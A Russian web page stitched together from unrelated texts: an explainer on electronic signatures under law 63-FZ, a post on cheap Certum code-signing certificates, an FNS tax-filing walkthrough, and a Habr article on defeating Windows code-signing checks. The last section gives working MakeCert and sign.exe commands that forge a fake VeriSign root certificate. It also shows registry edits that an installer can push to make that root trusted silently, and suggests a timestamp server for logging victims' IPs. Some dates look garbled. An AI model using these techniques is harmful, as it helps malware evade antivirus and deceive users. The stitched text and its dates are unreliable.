Электронная цифровая подпись — презентация онлайн

Электронная подпись для налоговой и не только — что это такое?

Определение электронной подписи дается в п. 1 ст. 2 закона «Об электронной подписи» от 06.04.2021 № 63-ФЗ (далее — закон № 63-ФЗ). Согласно этому определению основная функция электронной подписи — идентификация лица, подписавшего электронный документ. Документы в электронной форме сегодня приобретают все большее распространение.

Отчетность в электронной форме обязаны представлять:

  • все плательщики НДС;
  • организации с численностью более 100 человек — в ФНС;
  • работодатели с численностью работников от 25 (или от 10 для НДФЛ отчетности) человек — документы, содержащие сведения о доходах физлиц и НДФЛ, и отчеты в ПФР и ФСС.

При каких условиях квалифицированная электронная подпись признается действительной, разъяснили эксперты КонсультантПлюс. Получите бесплатный демо-доступ к К и переходите в Готовое решение, чтобы узнать все нюансы существующих условий.

Электронный отчет без наличия электронной подписи сдать нельзя, так как системы приема отчетов и деклараций не смогут идентифицировать подателя этих электронных документов.

Закон № 63-ФЗ в ст. 5 выделяет такие виды электронных подписей:

Рисунок 1. Виды электронных подписей в соответствии со ст. 5 закона № 63-ФЗ

Простая подпись — это вид идентификации, формируемый с помощью пароля, кода или других средств.

Как сделать простую электронную подпись, можно узнать из статьи«Как сделать простую электронную подпись».

Усиленная электронная подпись (УЭП), как показано на рис. 1, делится на 2 вида:

  • квалифицированную;
  • неквалифицированную.

Общими чертами этих 2 видов УЭП является то, что они формируются с применением криптографии (шифрования) для преобразования информации, вносимой на ключ, более точно идентифицируют лицо, которое подписало документ с помощью такой подписи, контролируют возможные изменения, внесенные в документы уже после их подписания.

Квалифицированная усиленная электронная подпись дополнительно подтверждается квалифицированным сертификатом. В процессе ее создания и проверки используются специальные средства подтверждения подписи в соответствии с требованиями закона № 63-ФЗ в редакции закона «О внесении изменений…» от 30.12.2021 № 445-ФЗ.

Квалифицированную усиленную электронную подпись предоставляют сертификационные центры. Неквалифицированную усиленную электронную подпись можно получить без сертификационных центров, пройдя процедуру идентификации.

В чем отличие двух видов УЭП, подробнее можно узнать из статьи«Чем отличаются два основных типа электронных подписей?».

Что можно делать, имея электронную подпись:

  • Первое преимущество владельцев электронной подписи — возможность зарегистрироваться на сайтах ФНС, ПФР, ФСС и стать пользователем личного кабинета на этих электронных ресурсах.
  • Второе преимущество — можно оформить электронную подпись для участия в электронных торгах на площадках государственных торгов, а ключ от данной электронной подписи подойдет и для пользователей электронных ресурсов ФНС, ПФР, ФСС и сайта госуслуг.

Бесплатный code signing для open source от certum

Запустив сегодня программу, описанную в

статье

, я увидел следующее предупреждение:

Бросается в глаза необычный префикс,

Open source developer

. Кроме того, несколько дней назад я уже видел точно такой же префикс, с другим именем. Напрашивается вывод, что, скорее всего, существует какая-то программа выдачи подобных сертификатов.

Несложный поиск показал следующее:

Как известно, пренебрегать безопасностью не стоит. (Если кто не в курсе: цифровая подпись файла защищает его от несанкционированных изменений. Сертификат удостоверяет, что автор подписанного файла — это вы, и никто другой.)
В современном мире практически невозможно встретить программу от крупного вендора без цифровой подписи. Все больше моих знакомых начинает обращать внимание на наличие ЦП у запускаемой или устанавливаемой программы, благодаря тому, что Windows выводит эту информацию (см. КДПВ).

На Хабре затрагивали тему подписывания кода несколько раз: общий обзор, советы по упрощению процедуры. Не так давно рассматривался вариант от StartSSL, тем не менее, требующий подтверждения личности class 2 (в терминах StartSSL), уже являющейся платной (в отличие от бесплатной class 1 для доменов).

Сумма в 60-500 долларов — не деньги для хоть сколько-нибудь крупной компании. Но как быть в случае с Open Source? Зачастую подобные проекты (если речь не идет об именах, которые у всех на слуху) не имеют достаточного финансирования либо разрабатываются исключительно на энтузиазме и других нематериальных ценностях.

Для таких случаев можно воспользоваться предложением от польской компании Certum:

Электронная цифровая подпись - презентация онлайн

Для этого необходимо зарегистрироваться (форма доступна также на русском языке) и отослать на email следующие документы:

  • Копия ID карты / паспорта / водительского удостоверения и пр, с указанием даты на копии, пометкой „I hereby confirm compliance with the original”, датой и личной подписью (подробнее — на сайте).
  • Адрес страницы Open Source продукта. Компания предупреждает, что проверка производится на основе общедоступной информации, поэтому проект должен быть представлен в сети.

Как видим, процедура достаточно простая и не занимает много времени (по заявлениям компании — до 24 часов).

Для сертификатов заявляется следующее (перевел только существенные пункты, полную версию см. на сайте):

  • Упрощенная процедура идентификации личности
  • Соответствие WebTrustSM/TM
  • Корневой сертификат CERTUM входит в список доверенных во всех популярных браузерах и продуктах Microsoft
  • Выдача в течение 24 часов после проверки
  • Хэш SHA1 (на 04.11.2021). Скорее всего, в ближайшем будущем будет предлагаться SHA2.
  • Подпись для расширений .docm, xlsm, .pptm, .xpi, .jar, .war, .ear, exe, .dll, .ocx, .cab, .msi.
  • Бесплатные отзыв или перевыпуск
  • Возможность хранения ключа на smart card
  • Бесплатный time stamp
  • Possible internal and external signatures creation
  • Среди поддерживаемых продуктов: MS Office 2000 , ToolSign.sh и openSSL for UNIX/Linux, Firefox, Key Manager, Jarsigner and verifier из Java JDK 1.5 , SignTool, SignCode, Visual Studio Express
  • Поддержка certificate revocation list (CRL) и Online Certificate Status Protocol (OCSP)
  • Срок выдачи: 1 год
  • Техподдержка 24h
  • Рекомендуемая длина ключа 2048 – 4096 бит, минимальная: RSA/DSA — 2048 бит, EC — 571 бит (NIST K-571 и NIST B-571).

Похоже, что безопасность становится трендом, и появляется все больше некоммерческих предложений в разных сферах. Интересно, что нам предложат следующим?

UPD: сертификат перестал быть бесплатным, текущая стоимость — €14.00 / €17.22 (пока не ясно, на какой срок выдается сертификат)
Тем не менее, это все равно ниже, чем у ближайшего конкурента — StartSSL ($60)

Техподдержка: инструкция по использованию электронной подписи на сайте федеральной налоговой службы

Оглавление

Читайте также:  Электронная подпись – от теории до практики безопасного применения — Сервисы на

Внимание! В соответствии с пунктом 3 статьи 80 и с пунктом 5 статьи 174 Налогового кодекса Российской Федерации налоговые декларации по налогу на добавленную стоимость через сервис ФНС не принимаются. Также, согласно пункту 10 статьи 431 Налогового кодекса Российской Федерации расчеты по страховым взносам через настоящий сервис не принимаются.

Установка Программы «Налогоплательщик ЮЛ»

На сайте ФНС https://www.nalog.ru/rn77/program/5961229/ скачать файл с последней версией программы и запустить установку двойным кликом мыши:

Электронная цифровая подпись - презентация онлайн

После распаковки и подготовки файлов к установке откроется окно установки программы, в котором необходимо нажать «Далее»:

Электронная цифровая подпись - презентация онлайн

Прочитать лицензионное соглашение и принять его условия, нажать «Далее»:

Электронная цифровая подпись - презентация онлайн

Выбрать «Полную» установку и нажать «Далее»:

Электронная цифровая подпись - презентация онлайн

Если необходимо, можно изменить папку установки программы, нажав «Изменить…».

Далее нажать «Далее»:

Электронная цифровая подпись - презентация онлайн

Для начала установки нажать «Установить»:

Электронная цифровая подпись - презентация онлайн

Для завершения установки программы нажать «Готово»:

Электронная цифровая подпись - презентация онлайн

После успешной установки на рабочем столе появится ярлык «Налогоплательщик ЮЛ». Также в системном меню WINDOWS Пуск – Программы появится подпункт «Налогоплательщик ЮЛ», содержащий ссылки на исполняемую программу и руководство пользователя.

При первом запуске программы после установки версии будет показано окно с описанием версии, далее выполнится конвертация программы, переиндексация, после чего появится запрос на прием отчетных форм. Затем произойдет прием описаний в выбранном варианте. После этого программа будет готова к работе. Работа в программе Налогоплательщик описана в файле «Руководство пользователя.doc» Пуск – Программы – Налогоплательщик ЮЛ – Руководство пользователя.

Формирование транспортного контейнера в программе «Налогоплательщик ЮЛ»

После формирования декларации или загрузки существующей, необходимо ее выгрузить для формирования транспортного контейнера. Для выгрузки документа нужно правым кликом мыши кликнуть на отчет. При этом если помечен документ или группа документов, то будут выгружены помеченные документы. Если нет помеченных документов, то будет выгружен документ, на котором установлен курсор.

Электронная цифровая подпись - презентация онлайн

В выпадающем меню выбрать «Передача по Интернет».

Откроется список отмеченных для выгрузки документов:

Электронная цифровая подпись - презентация онлайн

Нажать «ОК».

Откроется окно со служебной информацией:

Электронная цифровая подпись - презентация онлайн

В нем необходимо заполнить код ИФНС, в которую отправляется отчетность. И подтвердить введенные данные нажатием кнопки «ОК».

Электронная цифровая подпись - презентация онлайн

Если заполнены все необходимые поля, отчетность будет выгружена.

После нажатия кнопки «ОК» откроется окно формирования транспортного контейнера:

Электронная цифровая подпись - презентация онлайн

В нем необходимо указать папку, в которой будет размещен файл с транспортным контейнером, идентификатор налогоплательщика, сертификат ключа подписи, которым будет подписан передаваемый файл отчетности и нажать кнопку «Сформировать».

Для подписания отчетности будет запрошен пароль на контейнер:

Электронная цифровая подпись - презентация онлайн

После ввода пароля и нажатия кнопки «ОК» будет сформирован контейнер:

Электронная цифровая подпись - презентация онлайн

Получение идентификатора налогоплательщика

Для самостоятельной регистрации налогоплательщиков в системе сдачи налоговой отчетности и получения идентификатора необходимо пройти регистрацию в сервисе: https://service.nalog.ru/reg/Account/Registry:

Электронная цифровая подпись - презентация онлайн

Для регистрации необходимо ввести Логин, Пароль, Подтверждение пароля и E-mail:

Электронная цифровая подпись - презентация онлайн

После нажатия кнопки «Зарегистрировать» на электронную почту будет выслано письмо с ссылкой для подтверждения регистрации:

Электронная цифровая подпись - презентация онлайн

После подтверждения электронной почты и входа в личный кабинет появится сообщение о необходимости зарегистрировать сертификат и получить идентификатор:

Электронная цифровая подпись - презентация онлайн

После нажатия на кнопку «Зарегистрировать сертификат» откроется форма для загрузки сертификата:

Электронная цифровая подпись - презентация онлайн

После выбора файла сертификата откроется окно со сведениями об организации, в котором необходимо будет заполнить пустые поля (КПП и Код налогового органа):

Электронная цифровая подпись - презентация онлайн

Затем нажать кнопку «Передать на регистрацию». Страница обновится и отобразится статус заявки на регистрацию сертификата:

Электронная цифровая подпись - презентация онлайн

Когда сертификат пройдет регистрацию и будет присвоен идентификатор, на почту (указанную при регистрации) придет сообщение об успешной регистрации и о присвоении идентификатора.

После обновления страницы изменится статус регистрации сертификатаЭлектронная цифровая подпись - презентация онлайн, и в данных организации отобразится присвоенный идентификатор:

Электронная цифровая подпись - презентация онлайн

Для представления отчетности необходимо использовать «Сервис сдачи налоговой и бухгалтерской отчетности».

Представление отчетности в ФНС

Внимание! В соответствии с пунктом 3 статьи 80 и с пунктом 5 статьи 174 Налогового кодекса Российской Федерации налоговые декларации по налогу на добавленную стоимость через сервис ФНС не принимаются. Также, согласно пункту 10 статьи 431 Налогового кодекса Российской Федерации расчеты по страховым взносам через настоящий сервис не принимаются.

Для представления налоговой и бухгалтерской отчетности в электронном виде нужно зайти на страницу: http://nalog.ru/rn77/service/pred_elv/:

Электронная цифровая подпись - презентация онлайн

Далее необходимо установить Сертификат открытого ключа подписи МИ ФНС России по ЦОД, корневой сертификат ФНС России и список отозванных сертификатов.

Установка открытого ключа ФНС

Для установки сертификата открытого ключа подписи МИ ФНС России по ЦОД нужно его сохранить и запустить установку двойным кликом мыши.

На вкладке «Общие» нажать кнопку «Установить сертификат…»:

Электронная цифровая подпись - презентация онлайн

Откроется «Мастер импорта сертификатов»:

Электронная цифровая подпись - презентация онлайн

После нажатия кнопки «Далее» откроется окно выбора хранилища сертификатов.

Необходимо отметить «Автоматически выбрать хранилище на основе типа сертификата», нажать «Далее»:

Электронная цифровая подпись - презентация онлайн

Для завершения работы «Мастера импорта сертификатов» нажать кнопку «Готово»:

Электронная цифровая подпись - презентация онлайн

В окне сообщения об успешном импорте сертификата нажать кнопку «ОК»:

Электронная цифровая подпись - презентация онлайн

Сертификат открытого ключа подписи МИ ФНС России по ЦОД установлен.

Установка корневого сертификата

Для установки корневого сертификата ФНС необходимо перейти по ссылке: http://www.nalog.ru/rn77/about_fts/uc_fns/, скачать корневой сертификат УЦ ФНС России и двойным кликом мыши открыть его, для этого в окне открытия файла нажать кнопку «Открыть»:

Электронная цифровая подпись - презентация онлайн

На вкладке «Общие» нажать кнопку «Установить сертификат…»:

Электронная цифровая подпись - презентация онлайн

Откроется «Мастер импорта сертификатов»:

Электронная цифровая подпись - презентация онлайн

После нажатия кнопки «Далее» откроется окно выбора хранилища сертификатов:

Электронная цифровая подпись - презентация онлайн

Необходимо выбрать «Поместить все сертификаты в следующее хранилище», нажать кнопку «Обзор» и выбрать хранилище «Доверенные корневые центры сертификации» и нажать «ОК»:

Электронная цифровая подпись - презентация онлайн

После выбора хранилища сертификатов нажать «Далее»:

Электронная цифровая подпись - презентация онлайн

Для завершения работы «Мастера импорта сертификатов» нажать кнопку «Готово»:

Электронная цифровая подпись - презентация онлайн

В окне сообщения об успешном импорте сертификата нажать кнопку «ОК»:

Электронная цифровая подпись - презентация онлайн

Корневой сертификат установлен.

Установка списка отозванных сертификатов

Для установки списка отзыва нужно сохранить его на компьютер, кликнуть по нему правой кнопкой мыши и выбрать «Установить список отзыва (CRL)». В открывающихся окнах последовательно нажимать «Далее» – «Далее» – «Готово», не меняя настройки по умолчанию.

После установки сертификатов и списка отзыва нажать «Перейти в «Сервис сдачи налоговой и бухгалтерской отчетности».

Ознакомиться с технологией приема и обработки деклараций (расчетов) и перейти к проверке условий, нажав «Проверить выполнение условий»:

Электронная цифровая подпись - презентация онлайн

Убедиться, что все условия выполнены, и нажать «Выполнить проверки»:

Электронная цифровая подпись - презентация онлайн

На четвертом шаге проверки будет предложение выбрать цифровой сертификат.

После выбора необходимого сертификата нажать «ОК»:

Электронная цифровая подпись - презентация онлайн

После проверки сертификата ключа подписи нажать «Начать работу с сервисом»:

Электронная цифровая подпись - презентация онлайн

В открывшемся окне:

Читайте также:  Удостоверяющие центры, электронные подписи в Владивостоке - сайты, телефоны, адреса, отзывы и графики работы

Электронная цифровая подпись - презентация онлайн

Нужно заполнить пустые поля (Код абонента, КПП) и нажать «Сохранить»:

Электронная цифровая подпись - презентация онлайн

После сохранения введенных данных перейти в раздел «Загрузка файла»:

Электронная цифровая подпись - презентация онлайн

Нажать «Обзор» и выбрать контейнер, подготовленный с помощью программы «Налогоплательщик ЮЛ».

После выбора файла нажать кнопку «Отправить».

После передачи файла произойдет автоматический переход на страницу проверки статуса обработки:

Электронная цифровая подпись - презентация онлайн

После завершения документооборота состояние изменится на «Завершено»:

Электронная цифровая подпись - презентация онлайн

Посмотреть отправленный файл и историю документооборота можно, перейдя по ссылке в графе «Состояние» – «Завершено (успешно)»:

Электронная цифровая подпись - презентация онлайн

В «Истории документооборота» можно посмотреть или скачать все регламентные документы.

Электронная цифровая подпись - презентация онлайн

В дальнейшем можно в любое время зайти в данный сервис (https://service.nalog.ru/nbo/) и просмотреть отправленные ранее декларации (расчеты).

Цифровые подписи в исполняемых файлах и обход этой защиты во вредоносных программах

image

Хабрапривет!

Ну вроде как удалось решить вопросы с кармой, но они ником образом не касаются сегодняшней темы, а лишь объясняют некоторое опоздание её выхода на свет (исходные планы были на ноябрь прошлого года).

Сегодня я предлагаю Вашему вниманию небольшой обзор по системе электронных подписей исполняемых файлов и способам обхода и фальсификации этой системы. Также будет рассмотрен в деталях один из весьма действенных способов обхода. Несмотря на то, что описываемой инфе уже несколько месяцев, знают о ней не все. Производители описываемых ниже продуктов были уведомлены об описываемом материале, так что решение этой проблемы, если они вообще считают это проблемой, на их ответственности. Потому как времени было предостаточно.

ТЕОРИЯ

Идея и технология электронной подписи для исполняемых файлов возникла ещё в эпоху Windows NT. C момента появления Windows Vista компания Microsoft начала активную компанию по продвижению этой технологии. По задумке производителя, подписанный код может идти только от доверенного автора этого кода, а следовательно гарантированно не наносит вреда системе и защищён от ошибок (три ха-ха).

Тем не менее, поскольку в механизме подписи чаще всего используется довольно сложный криптоустойчивый механизм, общее доверие к подписанному коду распространилось. Не ушли от этого и антивирусные вендоры. Верно: если код подписан, то он явно не может быть вирусом, а потому ему можно доверять априори, тем самым снизив вероятность ложных срабатываний. Поэтому в большинстве современных антивирусных продуктов по умолчанию стоит обход проверки подписанных файлов, что повышает скорость сканирования и снижает вероятность ложных срабатываний. Более того, зачастую подписанные программы автоматически заносятся в категорию «доверенных» поведенческих анализаторов ака хипсов.

Становится ясно, что подписав свои творения валидной подписью, вирусмейкер получает довольно богатую аудиторию клиентов, у которых даже с активным и регулярно обновляемым антивирусом произойдёт заражение. Очевидно, что это — весьма лакомый кусочек, что легко заметно на примере уже ставшего знаменитым вируса Stuxnet, где код был подписан валидными сертификатами Realtek (позже сообщалось и о подписях от JMicron).

Но у этого подхода есть и оборотная сторона: после выявления скомпрометированной подписи она немедленно отзывается, а по самому факту подписи АВ-вендоры ставят сигнатурный детект, понятно, что с 100%-ным срабатыванием. Учитывая то, что приобрести украденный сертификат, необходимый для подписывания крайне дорого, ясно, что вирусмейкеры заинтересованы в тотальном обходе механизма проверки подписи, без валидных private-ключей или с помощью самостоятельной генерации таких ключей. Это позволит обходить защиту не только антивирусных продуктов, но и устанавливать драйвера и ActiveX-компоненты без предупреждений, да и вообще как-то пробиться в мир х64, где без подписей ничего не установить вообще.

Но об этом — подробнее на практике.

ПРАКТИКА

Кто-то из великих сказал, что чтобы опередить врага, надо начать мыслить как он. Итак, если мы вирусмейкеры, то что мы можем сделать?

1. Скопировать информацию о сертификате с какого-нибудь чистого файла.

Это наиболее популярный способ на данный момент. Копируется информация подписи до мельчайших подробностей, вплоть до цепочки доверенных издателей. Понятно, что такая копия валидна только на взгляд пользователя. Однако то, что отображает ОС вполне может сбить с толку неискушённого и быть воспринято как очередной глюк — ещё бы, если все издатели правильные, то почему это подпись невалидна? Увы и ах — таких большинство.

2. Использовать самоподписанные сертификаты с фэйковым именем.

Аналогично выше описанному варианту за исключением того, что даже не копируется цепочка в пути сертификации.

3. Подделать MD5.

Несмотря на то, что слабость алгоритма MD5 уже давно описана (тут и тут), он до сих пор часто используется в электронных подписях. Однако реальные примеры взлома MD5 касаются или очень маленьких файлов, или приводят к неправильной работе кода. На практике не встречаются вирусы с поддельными взломанными подписями на алгоритме MD5, но тем не менее такой способ возможен теоретически.
4. Получить сертификат по обычной процедуре и использовать его в злонамеренных целях.

Одна из наиболее распространённых методик авторов так называемых riskware, adware и фэйковых антивирусов. Примером может послужить фэйковый Perfect Defender (стандартный развод: «просканируйтесь бесплатно — у вас вирус — заплатите нам и мы его удалим») существует с подписями нескольких контор:
• Jeansovi llc
• Perfect Software llc
• Sovinsky llc
• Trambambon llc

Как это делается хорошо могут рассказать наши отечественные разработчики винлокеров, мелкими буквами пишущие про «программу-шутку» и т.д., таким образом оберегаясь от статьи о мошенничестве. Так и живём…

Интересно, что реально существуют абсолютно нормальные программы с такими именами владельцев:
• Verified Software
• Genuine Software Update Limited
• Browser plugin

Понятно, что если уж этому верить, то ошибиться при первом взгляде на сертификат несложно.

Следует также отметить, что отнюдь несложно получить подпись от сертификационных центров. Например RapidSSL для проверки использует просто e-mail. Если переписка ведётся из адресов типа admin, administrator, hostmaster, info, is, it, mis, postmaster, root, ssladmin,
ssladministrator, sslwebmaster, sysadmin или webmaster@somedomain.com — очевидно, что пишет владелец домена, верно? (ещё три ха-ха). А вот славная компания Digital River (DR), промышляющая аутсорсингом и электронной коммерцией, вообще предоставляет сертификаты всем своим клиентам. Немудрено, что MSNSpyMonitor, WinFixer, QuickKeyLogger, ErrorSafe, ESurveiller, SpyBuddy, TotalSpy, Spynomore, Spypal и вообще около 0,6% из всех подписанных DR файлов являются малварью, а потенциально нежелательными являются и того больше — более 5% всех подписанных DR файлов.

Читайте также:  Как самому получит эцп

Справедливости ради отмечу, что подписать х64-драйвер далеко не так просто, в этом случае пока нарушений не замечено.

5. Найти какого-нибудь работника доверенной компании и попросить его подписать Ваш код.

Без комментариев. Все любят деньги. Вопрос только в сумме 🙂

6. Украсть сертификат.

На данный момент известно три больших семейства троянцев, «заточенных», в частности, под похищение сертификатов. Это:
• Adrenalin
• Ursnif
• Zeus
• SpyEye (возможно)

Тем не менее пока не замечено массовых случаев использования украденных сертификатов в новых версиях этих троянцев. Возможно, это козырь в рукаве? Время покажет…

7. Заразить систему разработки доверенного разработчика и внедрять злонамеренный код в релизы до подписания.

Яркий пример такого заражения — вирус-концепт Induc.a. Вирус внедряет код на этапе компиляции, заражая систему разработки. В итоге разработчик даже не знает, что в его программе появился невидимый «довесок». Релиз проходит подпись и выходит в свет с полноценным сертификатом. Видишь суслика? А он есть! 😉

К счастью, Induc.a является только PoC, выполняя только заражение систем разработки без реализации какого бы то ни было дополнительного вредоносного функционала.

Ну а теперь — обещанные вкусняшки.

УЯЗВИМОСТЬ ИЛИ КАК Я ПРОВЁЛ ЭТИМ ЛЕТОМ

Как видим, вариантов обхода подписи достаточно много. В нашем примере будет рассмотрен модифицированный вариант 1 и 2, описанные выше.

Итак, что нам потребуется?
— MakeCert.exe
— cert2spc.exe
— sign.exe
— ruki.sys
— mozg.dll

Думаю, что для хабрачитателя не составит труда найти эти компоненты, но для самых ленивых выкладываю первые три здесь. Последние два не выкладываю в виду жёсткой привязки к железу, полному отсутствию кроссплатформенности и специфичности кода 🙂

Итак, создадим какой-либо сертификат доверенного издателя. Попробуем максимально скопировать информацию о том же VeriSign:
MakeCert.exe -# 7300940696719857889 -$ commercial -n CN="VeriSign Class 3 Code Signing 2009-2 CA" -a sha1 -sky signature -l "https://www.verisign.com/rpa" -cy authority -m 12 -h 2 -len 1024 -eku 1.3.6.1.5.5.7.3.2,1.3.6.1.5.5.7.3.3 -r -sv veri.pvk veri.cer

В результате выполнения мы получим veri.pvk и veri.cer, пригодные для подписывания.

Теперь создадим дочерний сертификат с использованием полученных только что:

MakeCert.exe -# 8928659211875058207 -$ commercial -n CN="Home Sweet Home" -a sha1 -sky signature -l "http://habrahabr.ru/" -ic veri.cer -iv veri.pvk -cy end -m 12 -h 2 -len 1024 -eku 1.3.6.1.5.5.7.3.3 -sv kl.pvk kl.cer

В итоге получим kl.pvk и kl.cer, которые будут доверенными сертификатами от недоверенного издателя. Цепочку можно продолжать долго, задуривая наивного пользователя. Но итог будет один: сертификат не будет валидным, потому как в цепочке есть один недоверенный элемент. НО!

В Windows имеется возможность установки любого сертификата, в том числе и самоподписанного, в качестве доверенного. Это удобно: в ряде случаев разработчик может сделать себе самоподписанный сертификат, ввести его в доверенные и спокойно работать со своими приложениям. В нашем случае это удобно вдвойне, потому как такой внос — очевидно, простое внесение информации в реестр. при чём информации отнюдь не специфичной для конкретной системы.

Установим на нашу тестовую виртуалку любой монитор реестра, после чего внесём наш искомый сертификат от якобы VeriSign в доверенные. Отследим, где произошло изменение — и voila! Мы можем сделать дамп соответствующей ветки реестра, после чего засунуть её в инсталлер. В итого, наш инсталлер вносит в реестр инфу, автоматически превращая сертификат первичного издателя в доверенный и валидируя всю цепочку.

Чтобы окончательно не открывать все карты, скажу только, что в моём случае дамп реестра имел вид
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftSystemCertificatesAuthRootCertificatesA61F9F1A51BBCA24218F9D14611AFBA61B86C14C]
«Blob»=hex:04,00,00,…..

ну или если только для текущего пользователя, то
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERSoftwareMicrosoftSystemCertificatesRootCertificatesA61F9F1A51BBCA24218F9D14611AFBA61B86C14C]
«Blob»=hex:04,00,00,…..

Внеся в реестр эти данные, программа с фэйковой цепочкой подписи автоматом проходила проверку по sigverif.exe. Ну а подписать наш код с помощью полученного сертификата вообще просто, достаточно батника:

cert2spc.exe kl.cer kl.spc
sign.exe -spc kl.spc -v kl.pvk -n "My Installer" -i "http://habrahabr.ru" -ky signature -$ commercial -a sha1 -t "http://timestamp.verisign.com/scripts/timstamp.dll" myprogram.exe
del kl.spc

Обратите внимание на использование таймстампа timestamp.verisign.com/scripts/timstamp.dll — теоретически вполне возможно использование собственного сервера на собственном домене, что позволит каждый раз видеть, что кто-то проверил подпись нашей программы на своём компьютере, а значит получать IP и время проверки. Правда удобно? 😉

Самое забавное, что на момент написания материала в далёком октябре-ноябре 2021-го Kaspersky Internet Security 2021 не отслеживала указанные ветки реестра, а проверку валидности цепочки оставляла на усмотрение ОС, которую мы довольно просто надули. Не знаю, что сейчас, но вроде как некоторые ветки заблокировали… Проверяйте, отписывайтесь!

Нужно отметить, что для простановки подписей возможно использование и специфичного, недоступного в паблике софта. Понятно, что подписи он не ломает, но даёт куда более гибкие возможности для заполнения полей X500, что ещё лучше создаёт видимость валидности. Вот тут возможно скачать любопытный пример. В архиве — файл популярной замены Блокноту bred3_2k (офсайт) с и без подписи Microsoft 🙂 Чтобы подпись полностью стала валидной, достаточно внести в реестр изменения, содержащиеся в файле key .reg. Аналогично, файл key -.reg эти изменения отменяет. Отследите путь сертификации — он любопытен 🙂

Сразу обращаю внимание на то, что автор «примера» прописал собственный таймстамп-сервер, так что любые манипуляции приведут к тому, что автор узнает Ваш IP — и дальше, как описывалось. Если хотите, то можете отследить эти обращения и отписаться в комментах 😉

Если потребуется, в следующей статье я расскажу, как настроить хипс для защиты соответсвующих веток реестра во избежание описанного внесения сертификатов в доверенные. Отписывайтесь в комментах — возможно, что эту уязвимость уже пофиксили.

В статье использован материал презентации Jarno Niemela (F-Secure).

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock
detector